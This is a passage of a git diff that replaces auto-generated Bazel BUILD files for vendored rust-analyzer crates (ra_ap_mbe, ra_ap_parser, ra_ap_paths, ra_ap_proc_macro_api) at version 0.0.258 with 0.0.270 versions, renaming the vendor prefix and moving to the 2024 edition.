-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.270.bazel
new file mode 100644
index 000000000000..be98a1794d8c
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.270.bazel
@@ -0,0 +1,107 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_mbe",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge": "syntax_bridge",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_mbe",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__arrayvec-0.7.6//:arrayvec",
+        "@vendor_ts__cov-mark-2.0.0//:cov_mark",
+        "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.258.bazel
deleted file mode 100644
index 7b9d090ca90b..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.258.bazel
+++ /dev/null
@@ -1,98 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_parser",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_edition-0.0.258//:ra_ap_edition": "edition",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit": "limit",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "tracing",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_parser",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__drop_bomb-0.1.5//:drop_bomb",
-        "@vendor__ra-ap-rustc_lexer-0.87.0//:ra_ap_rustc_lexer",
-        "@vendor__ra_ap_edition-0.0.258//:ra_ap_edition",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.270.bazel
new file mode 100644
index 000000000000..abd94f21b0ca
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.270.bazel
@@ -0,0 +1,96 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_parser",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_edition-0.0.270//:ra_ap_edition": "edition",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "tracing",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_parser",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__drop_bomb-0.1.5//:drop_bomb",
+        "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer",
+        "@vendor_ts__ra_ap_edition-0.0.270//:ra_ap_edition",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.258.bazel
deleted file mode 100644
index ad60384aca90..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.258.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_paths",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "serde1",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_paths",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__camino-1.1.9//:camino",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.270.bazel
new file mode 100644
index 000000000000..582fc3196744
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.270.bazel
@@ -0,0 +1,89 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_paths",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "serde1",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_paths",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__camino-1.1.9//:camino",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.258.bazel
deleted file mode 100644
index 8d97fd5cdd80..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.258.bazel
+++ /dev/null
@@ -1,105 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_proc_macro_api",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths": "paths",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    proc_macro_deps = [
-        "@vendor__serde_derive-1.0.217//:serde_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_proc_macro_api",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_json-1.0.135//:serde_json",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.270.bazel
new file mode 100644
index 000000000000..e8379df9f544
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.270.bazel
@@ -0,0 +1,105 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_proc_macro_api",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__serde_derive-1.0.219//:serde_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_proc_macro_api",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
